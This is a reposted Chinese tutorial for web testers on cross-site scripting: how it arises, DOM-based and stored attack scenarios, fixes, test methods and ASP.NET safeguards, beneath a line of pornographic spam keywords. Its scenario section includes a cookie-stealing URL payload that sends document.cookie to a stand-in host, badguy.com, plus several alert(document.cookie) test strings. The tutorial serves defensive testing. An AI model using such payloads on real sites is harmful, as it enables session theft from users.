日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 综合教程 >内容正文

综合教程

Web安全测试之XSS(跨站脚本攻击)

發布時間:2024/6/21 综合教程 28 生活家
生活随笔 收集整理的這篇文章主要介紹了 Web安全测试之XSS(跨站脚本攻击) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

XSS 全稱(Cross Site Scripting) 跨站腳本攻擊, 是Web程序中最常見的漏洞。指攻擊者在網頁中嵌入客戶端腳本(例如JavaScript), 當用戶瀏覽此網頁時,腳本就會在用戶的瀏覽器上執行,從而達到攻擊者的目的. 比如獲取用戶的Cookie,導航到惡意網站,攜帶木馬等。

作為測試人員,需要了解XSS的原理,攻擊場景,如何修復。 才能有效的防止XSS的發生。

閱讀目錄

XSS 是如何發生的
HTML Encode
XSS 攻擊場景
XSS漏洞的修復
如何測試XSS漏洞
HTML Encode 和URL Encode的區別
瀏覽器中的XSS過濾器
ASP.NET中的XSS安全機制

XSS 是如何發生的呢

假如有下面一個textbox

<input type="text" name="address1" value="value1from">

value1from是來自用戶的輸入,如果用戶不是輸入value1from,而是輸入"/><script>alert(document.cookie)</script><!-那么就會變成

<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">

嵌入的JavaScript代碼將會被執行

或者用戶輸入的是"onfocus="alert(document.cookie) 那么就會變成

<input type="text" name="address1" value="" onfocus="alert(document.cookie)">

事件被觸發的時候嵌入的JavaScript代碼將會被執行,攻擊的威力,取決于用戶輸入了什么樣的腳本

當然用戶提交的數據還可以通過QueryString(放在URL中)和Cookie發送給服務器. 例如下圖

HTML Encode

XSS之所以會發生, 是因為用戶輸入的數據變成了代碼。 所以我們需要對用戶輸入的數據進行HTML Encode處理。 將其中的"中括號", “單引號”,“引號” 之類的特殊字符進行編碼。

在C#中已經提供了現成的方法,只要調用HttpUtility.HtmlEncode("string <scritp>") 就可以了。 (需要引用System.Web程序集)

Fiddler中也提供了很方便的工具, 點擊Toolbar上的"TextWizard" 按鈕

XSS 攻擊場景

1. Dom-Based XSS 漏洞 攻擊過程如下

Tom 發現了Victim.com中的一個頁面有XSS漏洞,

例如: http://victim.com/search.asp?term=apple

服務器中Search.asp 頁面的代碼大概如下

<html>
  <title></title>
  <body>
    Results for <%Reequest.QueryString("term")%>
    ...
  </body>
</html>

Tom 先建立一個網站http://badguy.com, 用來接收“偷”來的信息。
然后Tom 構造一個惡意的url(如下), 通過某種方式(郵件,QQ)發給Monica

http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

Monica點擊了這個URL, 嵌入在URL中的惡意Javascript代碼就會在Monica的瀏覽器中執行. 那么Monica在victim.com網站的cookie, 就會被發送到badguy網站中。這樣Monica在victim.com 的信息就被Tom盜了.

2. Stored XSS(存儲式XSS漏洞), 該類型是應用廣泛而且有可能影響大Web服務器自身安全的漏洞,攻擊者將攻擊腳本上傳到Web服務器上,使得所有訪問該頁面的用戶都面臨信息泄露的可能。 攻擊過程如下

Alex發現了網站A上有一個XSS 漏洞,該漏洞允許將攻擊代碼保存在數據庫中,

Alex發布了一篇文章,文章中嵌入了惡意JavaScript代碼。

其他人如Monica訪問這片文章的時候,嵌入在文章中的惡意Javascript代碼就會在Monica的瀏覽器中執行,其會話cookie或者其他信息將被Alex盜走。

Dom-Based XSS漏洞威脅用戶個體,而存儲式XSS漏洞所威脅的對象將是大量的用戶.

XSS 漏洞修復

原則: 不相信客戶輸入的數據
注意: 攻擊代碼不一定在<script></script>中

將重要的cookie標記為http only, 這樣的話Javascript 中的document.cookie語句就不能獲取到cookie了.
只允許用戶輸入我們期望的數據。 例如: 年齡的textbox中,只允許用戶輸入數字。 而數字之外的字符都過濾掉。
對數據進行Html Encode 處理
過濾或移除特殊的Html標簽, 例如: <script>, <iframe> , &lt; for <, &gt; for >, &quot for
過濾JavaScript 事件的標簽。例如 "onclick=", "onfocus" 等等。

如何測試XSS漏洞

方法一: 查看代碼,查找關鍵的變量, 客戶端將數據傳送給Web 服務端一般通過三種方式 Querystring, Form表單,以及cookie. 例如在ASP的程序中,通過Request對象獲取客戶端的變量

<%
strUserCode = Request.QueryString(“code”);
strUser = Request.Form(“USER”);
strID = Request.Cookies(“ID”);
%>

假如變量沒有經過htmlEncode處理, 那么這個變量就存在一個XSS漏洞

方法二: 準備測試腳本,

"/><script>alert(document.cookie)</script><!--
<script>alert(document.cookie)</script><!--
"onclick="alert(document.cookie)

在網頁中的Textbox或者其他能輸入數據的地方,輸入這些測試腳本, 看能不能彈出對話框,能彈出的話說明存在XSS漏洞

在URL中查看有那些變量通過URL把值傳給Web服務器, 把這些變量的值退換成我們的測試的腳本。 然后看我們的腳本是否能執行

方法三: 自動化測試XSS漏洞
現在已經有很多XSS掃描工具了。 實現XSS自動化測試非常簡單,只需要用HttpWebRequest類。 把包含xss 測試腳本。發送給Web服務器。 然后查看HttpWebResponse中,我們的XSS測試腳本是否已經注入進去了。

HTML Encode 和URL Encode的區別

剛開始我老是把這兩個東西搞混淆, 其實這是兩個不同的東西。

HTML編碼前面已經介紹過了,關于URL 編碼是為了符合url的規范。因為在標準的url規范中中文和很多的字符是不允許出現在url中的。

例如在baidu中搜索"測試漢字"。 URL會變成
http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputT=7477

所謂URL編碼就是: 把所有非字母數字字符都將被替換成百分號(%)后跟兩位十六進制數,空格則編碼為加號(+

在C#中已經提供了現成的方法,只要調用HttpUtility.UrlEncode("string <scritp>") 就可以了。 (需要引用System.Web程序集)

Fiddler中也提供了很方便的工具, 點擊Toolbar上的"TextWizard" 按鈕

瀏覽器中的XSS過濾器

為了防止發生XSS, 很多瀏覽器廠商都在瀏覽器中加入安全機制來過濾XSS。 例如IE8,IE9,Firefox, Chrome. 都有針對XSS的安全機制。 瀏覽器會阻止XSS。 例如下圖

如果需要做測試, 最好使用IE7。

ASP.NET中的XSS安全機制

ASP.NET中有防范XSS的機制,對提交的表單會自動檢查是否存在XSS,當用戶試圖輸入XSS代碼的時候,ASP.NET會拋出一個錯誤如下圖

很多程序員對安全沒有概念, 甚至不知道有XSS的存在。 ASP.NET在這一點上做到默認安全。 這樣的話就算是沒有安全意識的程序員也能寫出一個”較安全的網站“。

如果想禁止這個安全特性, 可以通過 <%@ Page validateRequest=“false" %>

【轉載:http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html】

總結

以上是生活随笔為你收集整理的Web安全测试之XSS(跨站脚本攻击)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。